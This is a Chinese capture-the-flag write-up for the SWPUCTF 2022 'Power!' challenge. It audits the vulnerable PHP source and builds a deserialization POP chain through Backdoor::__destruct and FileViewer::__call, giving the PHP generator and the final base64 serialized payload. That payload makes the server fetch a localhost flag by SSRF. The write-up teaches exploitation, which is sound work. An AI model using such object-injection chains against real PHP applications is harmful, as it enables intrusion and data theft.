[SWPUCTF 2022 新生赛]Power! 反序列化详细题解

news/2024/11/8 17:43:19 标签: 网络安全, web安全, php, apache, 代码规范

知识点:

PHP反序列化(执行顺序)

构造POP链

代码审计

题目主页:

 输入框可以输入内容,习惯性先查看一下页面的源代码,收集信息

发现源码中有提示参数source   先不急,再看一下其他信息

apache服务器,php版本为7.4.30

url传参 ?source=index.php    回显了index.php的源码

php"><?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?> 

代码审计:

先不看类中的代码,看最后如果get方法存在source参数,就回显源码,如果参数名是image_path,经过正则过滤后会读取文件内容并输出,如果参数名是path_info 执行反序列化操作

提示了flag.php文件,那么url传参 ?image_path=flag.php  查看一下文件

打开图像的链接,得到提示 flag在 127.0.0.1:65500

目的就明确了,传参path_info然后执行反序列化操作

构造POP链:

回过头来查看类中的代码,总共就两个类,所以思路比较简单,从后向前推

最后要执行curl()函数,用于通过 curl 发起 HTTP 请求 结合提示是请求  127.0.0.1:65500


FileViewer类中loadfile()函数会执行curl函数,$file = $this->curl($this->local.$this->path);
local 和 path 属性拼接起来就是路径,暂时不知道文件名,猜测是flag  可以枚举尝试
__call方法会调用loadfile()函数,__call()方法是对不存在的方法或者不可访问的方法进行调用时自动调用
Backdoor类中__destruct()方法$this->a->c();  把a赋值为FileViewer类对象可以触发call方法

php">class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }

__destruct()中还有代码,会执行goodman函数把a中的b属性赋值为$this->superhacker; 

所以可以直接在Backdoor类中把属性a赋值为FileViewer类对象,b赋值为local属性,superhacker赋值为  http://127.0.0.1:65500/
那么pop链就是
FileViewer::loadfile() -> FileViewer::__call()-> Backdoor::__destruct()

php"><?php
class FileViewer{
    public $black_list;  // 可以不赋值,只要不是flag即可
    public $local;       // 在Backdoor类中赋值
    public $path  = "flag";   //文件名
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker;
    public function __construct(){
        $this->a = new FileViewer();
        $this->b = "local";
        $this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
echo base64_encode(serialize($a));

但是如果这样构造的话,最后序列化的是Backdoor类对象,而代码中反序列化之后代码是$FV->loadfile();
而Backdoor类中没有loadfile()方法,会报错  Call to undefined method Backdoor::loadfile()


需要让反序列化得到是FileViewer类对象,这样才能正常执行命令并且输出结果,但是pop链还不能乱

如果一个类A里面的属性的值是另外一个类B,那么进行反序列化时会先反序列化类B然后再反序列化类A

进行对象的反序列化时,如果一个类(称其为A类)中包含另一个类的对象作为属性(假设这个类为B类),那么反序列化的顺序通常遵循以下原则:

  1. 先反序列化内部对象:首先会尝试反序列化B类对象。这是因为为了完整地恢复A类对象的状态,需要先确保所有它引用的对象已经被正确地创建并初始化。

  2. 然后反序列化外部对象:一旦B类对象成功反序列化,接下来就是反序列化A类对象本身的数据,包括其自身的属性值以及对已经反序列化的B类对象的引用 

那么可以在原有的pop链基础上,再创建一个FileViewer类对象,然后把之前构造的Backdoor类对象赋值给FileViewer类对象中的其中任何一个属性,反序列化后得到的就是FileViewer类对象,就可以执行$FV->loadfile();  让代码不会报错正常运行

至于最后$FV->loadfile();的结果是无所谓的,再创建一个FileViewer类对象的目的就是为了不报错

因为查看文件的操作是在反序列化Backdoor类对象的时候触发执行的,因此只要代码正常运行不报错,在反序列化时就会 echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';  输出查询的文件内容


注意这题只能把Backdoor类对象赋值给local,赋值给black_list 和 path 都会报错
因为black_list 和 path都在正则表达式中出现,需要是字符串类型,反序列化会报错
Uncaught Error: Object of class Backdoor could not be converted to string

php"><?php
class FileViewer{
    public $black_list;
    public $local;
    public $path  = "flag";
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker;
    public function __construct(){
        $this->a = new FileViewer();
        $this->b = "local";
        $this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
$b = new FileViewer();
$b->local = $a;
echo base64_encode(serialize($b));
//结果是TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NDoiZmxhZyI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MjM6Imh0dHA6Ly8xMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

经过测试上面的代码中 $this->superhacker 赋值的格式至少需要为 "http://127.0.0.1:65500/"

也可以直接赋值完整路径 "http://127.0.0.1:65500/flag",这样path就不用赋值了

但是一定要有 "http://127.0.0.1:65500/" 这个格式   即使只去掉 / 然后path赋值为/flag 都是不行的

传参path_info得到

查看页面源代码

点击即可得到flag


http://www.niftyadmin.cn/n/5744235.html

相关文章

探索 Java 中 String 类的常用方法

文章目录 1. 字符串拼接&#xff08;Concatenation&#xff09;2. 字符串长度&#xff08;Length&#xff09;3. 字符串比较&#xff08;Comparison&#xff09;4. 查找和替换&#xff08;Search and Replace&#xff09;5. 字符串分割&#xff08;Split&#xff09;6. 字符串转…

离线部署k8s1.21.2集群教程

一、准备材料 离线安装包:k8s-install.zip 二、环境规划 IP CPU/MEM 主机名 角色

[CUDA] 设置sync模式cudaSetDeviceFlags

文章目录 1. 设置cuda synchronize的等待模式2 设置函数3. streamQuery方式实现stream sync等待逻辑Reference 1. 设置cuda synchronize的等待模式 参考资料&#xff1a;https://docs.nvidia.com/cuda/pdf/CUDA_Runtime_API.pdf cuda的 synchronize等待模式分为&#xff1a; Y…

机器学习周报(RNN的梯度消失和LSTM缓解梯度消失公式推导)

文章目录 摘要Abstract 1 RNN的梯度消失问题2 LSTM缓解梯度消失总结 摘要 在深度学习领域&#xff0c;循环神经网络&#xff08;Recurrent Neural Network, RNN&#xff09;被广泛应用于处理序列数据&#xff0c;特别是在自然语言处理、时间序列预测等任务中。然而&#xff0c…

Pytorch学习--神经网络--现有网络模型的使用及修改

一、VGG16 weights (Optional[VGG16_Weights]): 这个参数是可选的&#xff0c;指的是预训练的权重。用户可以选择使用不同的预训练权重&#xff0c;具体可参见 VGG16_Weights 的详细说明。默认情况下&#xff0c;如果不提供此参数&#xff0c;模型将不会使用任何预训练权重。 p…

Mysql基础 01 数据与sql

文章目录 一、基本概念二、mysql的常用命令三、sql规范四、数据类型五、SQL语句 一、基本概念 数据库(database,DB)&#xff1a;存储数据的仓库。 数据库管理系统软件(Database Management System,DBMS)&#xff1a;是一种操作和管理数据库的大型软件。常见的DBMS有oracle、s…

2024.11.4 STM32点灯和简单的数据收发

1.发送函数 HAL_StatusTypeDef HAL_UART_Transmit(UART_HandleTypeDef *huart, uint8_t *pData, uint16_t Size, uint32_t Timeout); 参数1&#xff1a; UART 处理结构体的指针&#xff0c;该结构体包含了 UART 的所有配置参数。 参数2&#xff1a;要发送的数据指针 参数3&…

计算机视觉基础:OpenCV库详解

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 计算机视觉基础&#xff1a;OpenCV库详解 计算机视觉基础&#xff1a;OpenCV库详解 计算机视觉基础&#xff1a;OpenCV库详解 引…